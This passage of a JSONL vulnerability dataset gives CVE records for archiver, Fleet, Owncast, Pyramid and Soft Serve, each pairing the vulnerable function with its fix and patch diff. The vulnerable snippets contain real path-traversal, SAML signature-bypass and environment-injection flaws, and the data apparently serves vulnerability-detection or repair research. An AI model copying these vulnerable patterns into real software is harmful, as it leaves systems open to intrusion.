mtls_cert = agent_data['mtls_cert']\n                         agent_data['ssl_context'] = None\n                         if agent_mtls_cert_enabled and mtls_cert:\n                             agent_data['ssl_context'] = web_util.generate_agent_mtls_context(mtls_cert, self.mtls_options)\n\n--- a/keylime/cloud_verifier_tornado.py\n+++ b/keylime/cloud_verifier_tornado.py\n@@ -1,16 +1,3 @@\n-class AllowlistHandler(BaseHandler):\n-    def head(self):\n-        web_util.echo_json_response(\n-            self, 400, \"Allowlist handler: HEAD Not Implemented\")\n-\n-    def get(self):\n-        \"\"\"Get an allowlist\n-\n-        GET /allowlists/{name}\n-        \"\"\"\n-\n-        rest_params = web_util.get_restful_params(self.request.uri)\n-        if rest_params is None or 'allowlists' not in rest_params:\n             web_util.echo_json_response(self, 400, \"Invalid URL\")\n             return\n \n@@ -43,3 +30,18 @@\n \n     def delete(self):\n         \"\"\"Delete an allowlist\n+\n+        DELETE /allowlists/{name}\n+        \"\"\"\n+\n+        rest_params = web_util.get_restful_params(self.request.uri)\n+        if rest_params is None or 'allowlists' not in rest_params:\n+            web_util.echo_json_response(self, 400, \"Invalid URL\")\n+            return\n+\n+        if not web_util.validate_api_version(self, rest_params[\"api_version\"], logger):\n+            return\n+\n+        allowlist_name = rest_params['allowlists']\n+        if allowlist_name is None:\n+            web_util.echo_json_response(self, 400, \"Invalid URL\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-25046", "cve_description": "Due to improper path sanitization, archives containing relative file paths can cause files to be written (or overwritten) outside of the target directory.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/cloudfoundry/archiver", "patch_url": ["https://github.com/cloudfoundry/archiver/commit/09b5706aa9367972c09144a450bb4523049ee840"], "programing_language": "Go", "vul_func": [{"id": "vul_go_192_1", "commit": "7291196", "file_path": "extractor/tgz_extractor.go", "start_line": 89, "end_line": 115, "snippet": "func extractTarArchiveFile(header *tar.Header, dest string, input io.Reader) error {\n\tfilePath := filepath.Join(dest, header.Name)\n\tfileInfo := header.FileInfo()\n\n\tif fileInfo.IsDir() {\n\t\treturn os.MkdirAll(filePath, fileInfo.Mode())\n\t}\n\n\terr := os.MkdirAll(filepath.Dir(filePath), 0755)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif fileInfo.Mode()&os.ModeSymlink != 0 {\n\t\treturn os.Symlink(header.Linkname, filePath)\n\t}\n\n\tfileCopy, err := os.OpenFile(filePath, os.O_RDWR|os.O_CREATE|os.O_TRUNC, fileInfo.Mode())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer fileCopy.Close()\n\n\t_, err = io.Copy(fileCopy, input)\n\treturn err\n}"}, {"id": "vul_go_192_2", "commit": "7291196", "file_path": "extractor/zip_extractor.go", "start_line": 79, "end_line": 115, "snippet": "func extractZipArchiveFile(file *zip.File, dest string, input io.Reader) error {\n\tfilePath := filepath.Join(dest, file.Name)\n\tfileInfo := file.FileInfo()\n\n\tif fileInfo.IsDir() {\n\t\terr := os.MkdirAll(filePath, fileInfo.Mode())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\terr := os.MkdirAll(filepath.Dir(filePath), 0755)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif fileInfo.Mode()&os.ModeSymlink != 0 {\n\t\t\tlinkName, err := ioutil.ReadAll(input)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn os.Symlink(string(linkName), filePath)\n\t\t}\n\n\t\tfileCopy, err := os.OpenFile(filePath, os.O_RDWR|os.O_CREATE|os.O_TRUNC, fileInfo.Mode())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer fileCopy.Close()\n\n\t\t_, err = io.Copy(fileCopy, input)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_192_1", "commit": "09b5706", "file_path": "extractor/tgz_extractor.go", "start_line": 91, "end_line": 120, "snippet": "func extractTarArchiveFile(header *tar.Header, dest string, input io.Reader) error {\n\tfilePath, err := securejoin.SecureJoin(dest, header.Name)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfileInfo := header.FileInfo()\n\n\tif fileInfo.IsDir() {\n\t\treturn os.MkdirAll(filePath, fileInfo.Mode())\n\t}\n\n\terr = os.MkdirAll(filepath.Dir(filePath), 0755)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif fileInfo.Mode()&os.ModeSymlink != 0 {\n\t\treturn os.Symlink(header.Linkname, filePath)\n\t}\n\n\tfileCopy, err := os.OpenFile(filePath, os.O_RDWR|os.O_CREATE|os.O_TRUNC, fileInfo.Mode())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer fileCopy.Close()\n\n\t_, err = io.Copy(fileCopy, input)\n\treturn err\n}"}, {"id": "fix_go_192_2", "commit": "09b5706", "file_path": "extractor/zip_extractor.go", "start_line": 81, "end_line": 117, "snippet": "func extractZipArchiveFile(file *zip.File, dest string, input io.Reader) error {\n\tfilePath, err := securejoin.SecureJoin(dest, file.Name)\n\tfileInfo := file.FileInfo()\n\n\tif fileInfo.IsDir() {\n\t\terr = os.MkdirAll(filePath, fileInfo.Mode())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\terr = os.MkdirAll(filepath.Dir(filePath), 0755)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif fileInfo.Mode()&os.ModeSymlink != 0 {\n\t\t\tlinkName, err := ioutil.ReadAll(input)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn os.Symlink(string(linkName), filePath)\n\t\t}\n\n\t\tfileCopy, err := os.OpenFile(filePath, os.O_RDWR|os.O_CREATE|os.O_TRUNC, fileInfo.Mode())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer fileCopy.Close()\n\n\t\t_, err = io.Copy(fileCopy, input)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/extractor/tgz_extractor.go\n+++ b/extractor/tgz_extractor.go\n@@ -1,12 +1,15 @@\n func extractTarArchiveFile(header *tar.Header, dest string, input io.Reader) error {\n-\tfilePath := filepath.Join(dest, header.Name)\n+\tfilePath, err := securejoin.SecureJoin(dest, header.Name)\n+\tif err != nil {\n+\t\treturn err\n+\t}\n \tfileInfo := header.FileInfo()\n \n \tif fileInfo.IsDir() {\n \t\treturn os.MkdirAll(filePath, fileInfo.Mode())\n \t}\n \n-\terr := os.MkdirAll(filepath.Dir(filePath), 0755)\n+\terr = os.MkdirAll(filepath.Dir(filePath), 0755)\n \tif err != nil {\n \t\treturn err\n \t}\n\n--- a/extractor/zip_extractor.go\n+++ b/extractor/zip_extractor.go\n@@ -1,14 +1,14 @@\n func extractZipArchiveFile(file *zip.File, dest string, input io.Reader) error {\n-\tfilePath := filepath.Join(dest, file.Name)\n+\tfilePath, err := securejoin.SecureJoin(dest, file.Name)\n \tfileInfo := file.FileInfo()\n \n \tif fileInfo.IsDir() {\n-\t\terr := os.MkdirAll(filePath, fileInfo.Mode())\n+\t\terr = os.MkdirAll(filePath, fileInfo.Mode())\n \t\tif err != nil {\n \t\t\treturn err\n \t\t}\n \t} else {\n-\t\terr := os.MkdirAll(filepath.Dir(filePath), 0755)\n+\t\terr = os.MkdirAll(filepath.Dir(filePath), 0755)\n \t\tif err != nil {\n \t\t\treturn err\n \t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-27509", "cve_description": "fleetdm/fleet is an open source device management, built on osquery. In vulnerable versions of Fleet, an attacker could craft a specially-formed SAML response to forge authentication assertions, provision a new administrative user account if Just-In-Time (JIT) provisioning is enabled, or create new accounts tied to forged assertions if f MDM enrollment is enabled. This vulnerability is fixed in 4.64.2, 4.63.2, 4.62.4, and 4.58.1.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/fleetdm/fleet", "patch_url": ["https://github.com/fleetdm/fleet/commit/718c95e47ad010ad6b8ceb3f3460e921fbfc53bb"], "programing_language": "Go", "vul_func": [{"id": "vul_go_140_1", "commit": "0f9d197", "file_path": "server/sso/validate.go", "start_line": 158, "end_line": 175, "snippet": "func (v *validator) validateSignature(elt *etree.Element) (*etree.Element, error) {\n\tvalidated, err := v.context.Validate(elt)\n\tif err == nil {\n\t\t// If entire doc is signed, success, we're done.\n\t\treturn validated, nil\n\t}\n\tif err == dsig.ErrMissingSignature {\n\t\t// If entire document is not signed find signed assertions, remove assertions\n\t\t// that are not signed.\n\t\terr = v.validateAssertionSignature(elt)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn elt, nil\n\t}\n\n\treturn nil, err\n}"}, {"id": "vul_go_140_2", "commit": "0f9d197", "file_path": "server/sso/validate.go", "start_line": 177, "end_line": 196, "snippet": "func (v *validator) validateAssertionSignature(elt *etree.Element) error {\n\tvalidateAssertion := func(ctx etreeutils.NSContext, unverified *etree.Element) error {\n\t\tif unverified.Parent() != elt {\n\t\t\treturn fmt.Errorf(\"assertion with unexpected parent: %s\", unverified.Parent().Tag)\n\t\t}\n\t\t// Remove assertions that are not signed.\n\t\tdetached, err := etreeutils.NSDetatch(ctx, unverified)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tsigned, err := v.context.Validate(detached)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\telt.RemoveChild(unverified)\n\t\telt.AddChild(signed)\n\t\treturn nil\n\t}\n\treturn etreeutils.NSFindIterate(elt, \"urn:oasis:names:tc:SAML:2.0:assertion\", \"Assertion\", validateAssertion)\n}"}], "fix_func": [{"id": "fix_go_140_1", "commit": "718c95e", "file_path": "server/sso/validate.go", "start_line": 157, "end_line": 171, "snippet": "func (v *validator) validateSignature(elt *etree.Element) (*etree.Element, error) {\n\tvalidated, err := v.context.Validate(elt)\n\tif err == nil {\n\t\t// If entire doc is signed, success, we're done.\n\t\treturn validated, nil\n\t}\n\t// Some IdPs (like Google) do not sign the root, and only sign the Assertion.\n\tif err == dsig.ErrMissingSignature {\n\t\tif err := v.validateAssertionSignature(elt); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn elt, nil\n\t}\n\treturn nil, err\n}"}, {"id": "fix_go_140_2", "commit": "718c95e", "file_path": "server/sso/validate.go", "start_line": 187, "end_line": 207, "snippet": "func (v *validator) validateAssertionSignature(elt *etree.Element) error {\n\tvar assertion *etree.Element\n\tfor _, child := range elt.ChildElements() {\n\t\tif child.Tag == \"Assertion\" {\n\t\t\tif child.NamespaceURI() != \"urn:oasis:names:tc:SAML:2.0:assertion\" {\n\t\t\t\treturn errAssertionWithInvalidNamespace\n\t\t\t}\n\t\t\tif assertion != nil {\n\t\t\t\treturn errMultipleAssertions\n\t\t\t}\n\t\t\tassertion = child\n\t\t}\n\t}\n\tif assertion == nil {\n\t\treturn errMissingAssertion\n\t}\n\tif _, err := v.context.Validate(assertion); err != nil {\n\t\treturn fmt.Errorf(\"failed to validate assertion signature: %w\", err)\n\t}\n\treturn nil\n}"}, {"id": "fix_go_140_3", "commit": "718c95e", "file_path": "server/sso/validate.go", "start_line": 173, "end_line": 177, "snippet": "var (\n\terrMissingAssertion              = errors.New(\"missing Assertion element under namespace urn:oasis:names:tc:SAML:2.0:assertion\")\n\terrMultipleAssertions            = errors.New(\"multiple Assertions elements found\")\n\terrAssertionWithInvalidNamespace = errors.New(\"Assertion with invalid namespace found\")\n)"}], "vul_patch": "--- a/server/sso/validate.go\n+++ b/server/sso/validate.go\n@@ -4,15 +4,12 @@\n \t\t// If entire doc is signed, success, we're done.\n \t\treturn validated, nil\n \t}\n+\t// Some IdPs (like Google) do not sign the root, and only sign the Assertion.\n \tif err == dsig.ErrMissingSignature {\n-\t\t// If entire document is not signed find signed assertions, remove assertions\n-\t\t// that are not signed.\n-\t\terr = v.validateAssertionSignature(elt)\n-\t\tif err != nil {\n+\t\tif err := v.validateAssertionSignature(elt); err != nil {\n \t\t\treturn nil, err\n \t\t}\n \t\treturn elt, nil\n \t}\n-\n \treturn nil, err\n }\n\n--- a/server/sso/validate.go\n+++ b/server/sso/validate.go\n@@ -1,20 +1,21 @@\n func (v *validator) validateAssertionSignature(elt *etree.Element) error {\n-\tvalidateAssertion := func(ctx etreeutils.NSContext, unverified *etree.Element) error {\n-\t\tif unverified.Parent() != elt {\n-\t\t\treturn fmt.Errorf(\"assertion with unexpected parent: %s\", unverified.Parent().Tag)\n+\tvar assertion *etree.Element\n+\tfor _, child := range elt.ChildElements() {\n+\t\tif child.Tag == \"Assertion\" {\n+\t\t\tif child.NamespaceURI() != \"urn:oasis:names:tc:SAML:2.0:assertion\" {\n+\t\t\t\treturn errAssertionWithInvalidNamespace\n+\t\t\t}\n+\t\t\tif assertion != nil {\n+\t\t\t\treturn errMultipleAssertions\n+\t\t\t}\n+\t\t\tassertion = child\n \t\t}\n-\t\t// Remove assertions that are not signed.\n-\t\tdetached, err := etreeutils.NSDetatch(ctx, unverified)\n-\t\tif err != nil {\n-\t\t\treturn err\n-\t\t}\n-\t\tsigned, err := v.context.Validate(detached)\n-\t\tif err != nil {\n-\t\t\treturn err\n-\t\t}\n-\t\telt.RemoveChild(unverified)\n-\t\telt.AddChild(signed)\n-\t\treturn nil\n \t}\n-\treturn etreeutils.NSFindIterate(elt, \"urn:oasis:names:tc:SAML:2.0:assertion\", \"Assertion\", validateAssertion)\n+\tif assertion == nil {\n+\t\treturn errMissingAssertion\n+\t}\n+\tif _, err := v.context.Validate(assertion); err != nil {\n+\t\treturn fmt.Errorf(\"failed to validate assertion signature: %w\", err)\n+\t}\n+\treturn nil\n }\n\n--- /dev/null\n+++ b/server/sso/validate.go\n@@ -0,0 +1,5 @@\n+var (\n+\terrMissingAssertion              = errors.New(\"missing Assertion element under namespace urn:oasis:names:tc:SAML:2.0:assertion\")\n+\terrMultipleAssertions            = errors.New(\"multiple Assertions elements found\")\n+\terrAssertionWithInvalidNamespace = errors.New(\"Assertion with invalid namespace found\")\n+)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-31450", "cve_description": "Owncast is an open source, self-hosted, decentralized, single user live video streaming and chat server. The Owncast application exposes an administrator API at the URL /api/admin. The emoji/delete endpoint of said API allows administrators to delete custom emojis, which are saved on disk. The parameter name is taken from the JSON request and directly appended to the filepath that points to the emoji to delete. By using path traversal sequences (../), attackers with administrative privileges can exploit this endpoint to delete arbitrary files on the system, outside of the emoji directory. This vulnerability is fixed in 0.1.3.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/owncast/owncast", "patch_url": ["https://github.com/owncast/owncast/commit/1b14800c7d7f54be14ed4d130bfe7f480645076e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_253_1", "commit": "225dc98736036c4a60c3eca245845e2ffefe2a57", "file_path": "controllers/admin/emoji.go", "start_line": 63, "end_line": 92, "snippet": "func DeleteCustomEmoji(w http.ResponseWriter, r *http.Request) {\n\tif !requirePOST(w, r) {\n\t\treturn\n\t}\n\n\ttype deleteEmoji struct {\n\t\tName string `json:\"name\"`\n\t}\n\n\temoji := new(deleteEmoji)\n\n\tif err := json.NewDecoder(r.Body).Decode(emoji); err != nil {\n\t\tcontrollers.WriteSimpleResponse(w, false, err.Error())\n\t\treturn\n\t}\n\n\t// var emojiFileName = filepath.Base(emoji.Name)\n\ttargetPath := filepath.Join(config.CustomEmojiPath, emoji.Name)\n\n\tif err := os.Remove(targetPath); err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\tcontrollers.WriteSimpleResponse(w, false, fmt.Sprintf(\"Emoji %q doesn't exist\", emoji.Name))\n\t\t} else {\n\t\t\tcontrollers.WriteSimpleResponse(w, false, err.Error())\n\t\t}\n\t\treturn\n\t}\n\n\tcontrollers.WriteSimpleResponse(w, true, fmt.Sprintf(\"Emoji %q has been deleted\", emoji.Name))\n}"}], "fix_func": [{"id": "fix_go_253_1", "commit": "1b14800c7d7f54be14ed4d130bfe7f480645076e", "file_path": "controllers/admin/emoji.go", "start_line": 63, "end_line": 96, "snippet": "func DeleteCustomEmoji(w http.ResponseWriter, r *http.Request) {\n\tif !requirePOST(w, r) {\n\t\treturn\n\t}\n\n\ttype deleteEmoji struct {\n\t\tName string `json:\"name\"`\n\t}\n\n\temoji := new(deleteEmoji)\n\n\tif err := json.NewDecoder(r.Body).Decode(emoji); err != nil {\n\t\tcontrollers.WriteSimpleResponse(w, false, err.Error())\n\t\treturn\n\t}\n\n\ttargetPath := filepath.Join(config.CustomEmojiPath, emoji.Name)\n\n\tif !filepath.IsLocal(targetPath) {\n\t\tcontrollers.WriteSimpleResponse(w, false, \"Emoji path is not valid\")\n\t\treturn\n\t}\n\n\tif err := os.Remove(targetPath); err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\tcontrollers.WriteSimpleResponse(w, false, fmt.Sprintf(\"Emoji %q doesn't exist\", emoji.Name))\n\t\t} else {\n\t\t\tcontrollers.WriteSimpleResponse(w, false, err.Error())\n\t\t}\n\t\treturn\n\t}\n\n\tcontrollers.WriteSimpleResponse(w, true, fmt.Sprintf(\"Emoji %q has been deleted\", emoji.Name))\n}"}], "vul_patch": "--- a/controllers/admin/emoji.go\n+++ b/controllers/admin/emoji.go\n@@ -14,8 +14,12 @@\n \t\treturn\n \t}\n \n-\t// var emojiFileName = filepath.Base(emoji.Name)\n \ttargetPath := filepath.Join(config.CustomEmojiPath, emoji.Name)\n+\n+\tif !filepath.IsLocal(targetPath) {\n+\t\tcontrollers.WriteSimpleResponse(w, false, \"Emoji path is not valid\")\n+\t\treturn\n+\t}\n \n \tif err := os.Remove(targetPath); err != nil {\n \t\tif os.IsNotExist(err) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-40587", "cve_description": "Pyramid is an open source Python web framework. A path traversal vulnerability in Pyramid versions 2.0.0 and 2.0.1 impacts users of Python 3.11 that are using a Pyramid static view with a full filesystem path and have a `index.html` file that is located exactly one directory above the location of the static view's file system path. No further path traversal exists, and the only file that could be disclosed accidentally is `index.html`. Pyramid version 2.0.2 rejects any path that contains a null-byte out of caution. While valid in directory/file names, we would strongly consider it a mistake to use null-bytes in naming files/directories. Secondly, Python 3.11, and 3.12 has fixed the underlying issue in `os.path.normpath` to no longer truncate on the first `0x00` found, returning the behavior to pre-3.11 Python, un an as of yet unreleased version. Fixes will be available in:Python 3.12.0rc2 and 3.11.5. Some workarounds are available. Use a version of Python 3 that is not affected, downgrade to Python 3.10 series temporarily, or wait until Python 3.11.5 is released and upgrade to the latest version of Python 3.11 series.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/Pylons/pyramid", "patch_url": ["https://github.com/Pylons/pyramid/commit/347d7750da6f45c7436dd0c31468885cc9343c85"], "programing_language": "Python", "vul_func": [{"id": "vul_py_309_1", "commit": "9cd83a2", "file_path": "src/pyramid/static.py", "start_line": 263, "end_line": 263, "snippet": "_seps = {'/', os.sep}"}, {"id": "vul_py_309_2", "commit": "9cd83a2", "file_path": "src/pyramid/static.py", "start_line": 266, "end_line": 269, "snippet": "def _contains_slash(item):\n    for sep in _seps:\n        if sep in item:\n            return True"}, {"id": "vul_py_309_3", "commit": "9cd83a2", "file_path": "src/pyramid/static.py", "start_line": 276, "end_line": 285, "snippet": "def _secure_path(path_tuple):\n    if _has_insecure_pathelement(path_tuple):\n        # belt-and-suspenders security; this should never be true\n        # unless someone screws up the traversal_path code\n        # (request.subpath is computed via traversal_path too)\n        return None\n    if any([_contains_slash(item) for item in path_tuple]):\n        return None\n    encoded = '/'.join(path_tuple)  # will be unicode\n    return encoded"}], "fix_func": [{"id": "fix_py_309_1", "commit": "347d7750da6f45c7436dd0c31468885cc9343c85", "file_path": "src/pyramid/static.py", "start_line": 263, "end_line": 263, "snippet": "_invalid_element_chars = {'/', os.sep, '\\x00'}"}, {"id": "fix_py_309_2", "commit": "347d7750da6f45c7436dd0c31468885cc9343c85", "file_path": "src/pyramid/static.py", "start_line": 266, "end_line": 269, "snippet": "def _contains_invalid_element_char(item):\n    for invalid_element_char in _invalid_element_chars:\n        if invalid_element_char in item:\n            return True"}, {"id": "fix_py_309_3", "commit": "347d7750da6f45c7436dd0c31468885cc9343c85", "file_path": "src/pyramid/static.py", "start_line": 276, "end_line": 285, "snippet": "def _secure_path(path_tuple):\n    if _has_insecure_pathelement(path_tuple):\n        # belt-and-suspenders security; this should never be true\n        # unless someone screws up the traversal_path code\n        # (request.subpath is computed via traversal_path too)\n        return None\n    if any([_contains_invalid_element_char(item) for item in path_tuple]):\n        return None\n    encoded = '/'.join(path_tuple)  # will be unicode\n    return encoded"}], "vul_patch": "--- a/src/pyramid/static.py\n+++ b/src/pyramid/static.py\n@@ -1 +1 @@\n-_seps = {'/', os.sep}\n+_invalid_element_chars = {'/', os.sep, '\\x00'}\n\n--- a/src/pyramid/static.py\n+++ b/src/pyramid/static.py\n@@ -1,4 +1,4 @@\n-def _contains_slash(item):\n-    for sep in _seps:\n-        if sep in item:\n+def _contains_invalid_element_char(item):\n+    for invalid_element_char in _invalid_element_chars:\n+        if invalid_element_char in item:\n             return True\n\n--- a/src/pyramid/static.py\n+++ b/src/pyramid/static.py\n@@ -4,7 +4,7 @@\n         # unless someone screws up the traversal_path code\n         # (request.subpath is computed via traversal_path too)\n         return None\n-    if any([_contains_slash(item) for item in path_tuple]):\n+    if any([_contains_invalid_element_char(item) for item in path_tuple]):\n         return None\n     encoded = '/'.join(path_tuple)  # will be unicode\n     return encoded\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-41956", "cve_description": "Soft Serve is a self-hostable Git server for the command line. Prior to 0.7.5, it is possible for a user who can commit files to a repository hosted by Soft Serve to execute arbitrary code via environment manipulation and Git. The issue is that Soft Serve passes all environment variables given by the client to git subprocesses. This includes environment variables that control program execution, such as LD_PRELOAD. This vulnerability is fixed in 0.7.5.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/charmbracelet/soft-serve", "patch_url": ["https://github.com/charmbracelet/soft-serve/commit/4daebdd422a6ba8c04162d023f8be355a8fe3184"], "programing_language": "Go", "vul_func": [{"id": "vul_go_277_1", "commit": "b5f57212392ae971147447ba7223eac6724db069", "file_path": "pkg/ssh/cmd/git.go", "start_line": 166, "end_line": 337, "snippet": "func gitRunE(cmd *cobra.Command, args []string) error {\n\tctx := cmd.Context()\n\tcfg := config.FromContext(ctx)\n\tbe := backend.FromContext(ctx)\n\tlogger := log.FromContext(ctx)\n\tstart := time.Now()\n\n\t// repo should be in the form of \"repo.git\"\n\tname := utils.SanitizeRepo(args[0])\n\tpk := sshutils.PublicKeyFromContext(ctx)\n\tak := sshutils.MarshalAuthorizedKey(pk)\n\tuser := proto.UserFromContext(ctx)\n\taccessLevel := be.AccessLevelForUser(ctx, name, user)\n\t// git bare repositories should end in \".git\"\n\t// https://git-scm.com/docs/gitrepository-layout\n\trepoDir := name + \".git\"\n\treposDir := filepath.Join(cfg.DataPath, \"repos\")\n\tif err := git.EnsureWithin(reposDir, repoDir); err != nil {\n\t\treturn err\n\t}\n\n\t// Set repo in context\n\trepo, _ := be.Repository(ctx, name)\n\tctx = proto.WithRepositoryContext(ctx, repo)\n\n\t// Environment variables to pass down to git hooks.\n\tenvs := []string{\n\t\t\"SOFT_SERVE_REPO_NAME=\" + name,\n\t\t\"SOFT_SERVE_REPO_PATH=\" + filepath.Join(reposDir, repoDir),\n\t\t\"SOFT_SERVE_PUBLIC_KEY=\" + ak,\n\t\t\"SOFT_SERVE_LOG_PATH=\" + filepath.Join(cfg.DataPath, \"log\", \"hooks.log\"),\n\t}\n\n\tif user != nil {\n\t\tenvs = append(envs,\n\t\t\t\"SOFT_SERVE_USERNAME=\"+user.Username(),\n\t\t)\n\t}\n\n\t// Add ssh session & config environ\n\ts := sshutils.SessionFromContext(ctx)\n\tenvs = append(envs, s.Environ()...)\n\tenvs = append(envs, cfg.Environ()...)\n\n\trepoPath := filepath.Join(reposDir, repoDir)\n\tservice := git.Service(cmd.Name())\n\tstdin := cmd.InOrStdin()\n\tstdout := cmd.OutOrStdout()\n\tstderr := cmd.ErrOrStderr()\n\tscmd := git.ServiceCommand{\n\t\tStdin:  stdin,\n\t\tStdout: stdout,\n\t\tStderr: stderr,\n\t\tEnv:    envs,\n\t\tDir:    repoPath,\n\t}\n\n\tswitch service {\n\tcase git.ReceivePackService:\n\t\treceivePackCounter.WithLabelValues(name).Inc()\n\t\tdefer func() {\n\t\t\treceivePackSeconds.WithLabelValues(name).Add(time.Since(start).Seconds())\n\t\t}()\n\t\tif accessLevel < access.ReadWriteAccess {\n\t\t\treturn git.ErrNotAuthed\n\t\t}\n\t\tif repo == nil {\n\t\t\tif _, err := be.CreateRepository(ctx, name, user, proto.RepositoryOptions{Private: false}); err != nil {\n\t\t\t\tlog.Errorf(\"failed to create repo: %s\", err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcreateRepoCounter.WithLabelValues(name).Inc()\n\t\t}\n\n\t\tif err := service.Handler(ctx, scmd); err != nil {\n\t\t\tlogger.Error(\"failed to handle git service\", \"service\", service, \"err\", err, \"repo\", name)\n\t\t\tdefer func() {\n\t\t\t\tif repo == nil {\n\t\t\t\t\t// If the repo was created, but the request failed, delete it.\n\t\t\t\t\tbe.DeleteRepository(ctx, name) // nolint: errcheck\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\treturn git.ErrSystemMalfunction\n\t\t}\n\n\t\tif err := git.EnsureDefaultBranch(ctx, scmd.Dir); err != nil {\n\t\t\tlogger.Error(\"failed to ensure default branch\", \"err\", err, \"repo\", name)\n\t\t\treturn git.ErrSystemMalfunction\n\t\t}\n\n\t\treceivePackCounter.WithLabelValues(name).Inc()\n\n\t\treturn nil\n\tcase git.UploadPackService, git.UploadArchiveService:\n\t\tif accessLevel < access.ReadOnlyAccess {\n\t\t\treturn git.ErrNotAuthed\n\t\t}\n\n\t\tif repo == nil {\n\t\t\treturn git.ErrInvalidRepo\n\t\t}\n\n\t\tswitch service {\n\t\tcase git.UploadArchiveService:\n\t\t\tuploadArchiveCounter.WithLabelValues(name).Inc()\n\t\t\tdefer func() {\n\t\t\t\tuploadArchiveSeconds.WithLabelValues(name).Add(time.Since(start).Seconds())\n\t\t\t}()\n\t\tdefault:\n\t\t\tuploadPackCounter.WithLabelValues(name).Inc()\n\t\t\tdefer func() {\n\t\t\t\tuploadPackSeconds.WithLabelValues(name).Add(time.Since(start).Seconds())\n\t\t\t}()\n\t\t}\n\n\t\terr := service.Handler(ctx, scmd)\n\t\tif errors.Is(err, git.ErrInvalidRepo) {\n\t\t\treturn git.ErrInvalidRepo\n\t\t} else if err != nil {\n\t\t\tlogger.Error(\"failed to handle git service\", \"service\", service, \"err\", err, \"repo\", name)\n\t\t\treturn git.ErrSystemMalfunction\n\t\t}\n\n\t\treturn nil\n\tcase git.LFSTransferService, git.LFSAuthenticateService:\n\t\toperation := args[1]\n\t\tswitch operation {\n\t\tcase lfs.OperationDownload:\n\t\t\tif accessLevel < access.ReadOnlyAccess {\n\t\t\t\treturn git.ErrNotAuthed\n\t\t\t}\n\t\tcase lfs.OperationUpload:\n\t\t\tif accessLevel < access.ReadWriteAccess {\n\t\t\t\treturn git.ErrNotAuthed\n\t\t\t}\n\t\tdefault:\n\t\t\treturn git.ErrInvalidRequest\n\t\t}\n\n\t\tif repo == nil {\n\t\t\treturn git.ErrInvalidRepo\n\t\t}\n\n\t\tscmd.Args = []string{\n\t\t\tname,\n\t\t\targs[1],\n\t\t}\n\n\t\tswitch service {\n\t\tcase git.LFSTransferService:\n\t\t\tlfsTransferCounter.WithLabelValues(name, operation).Inc()\n\t\t\tdefer func() 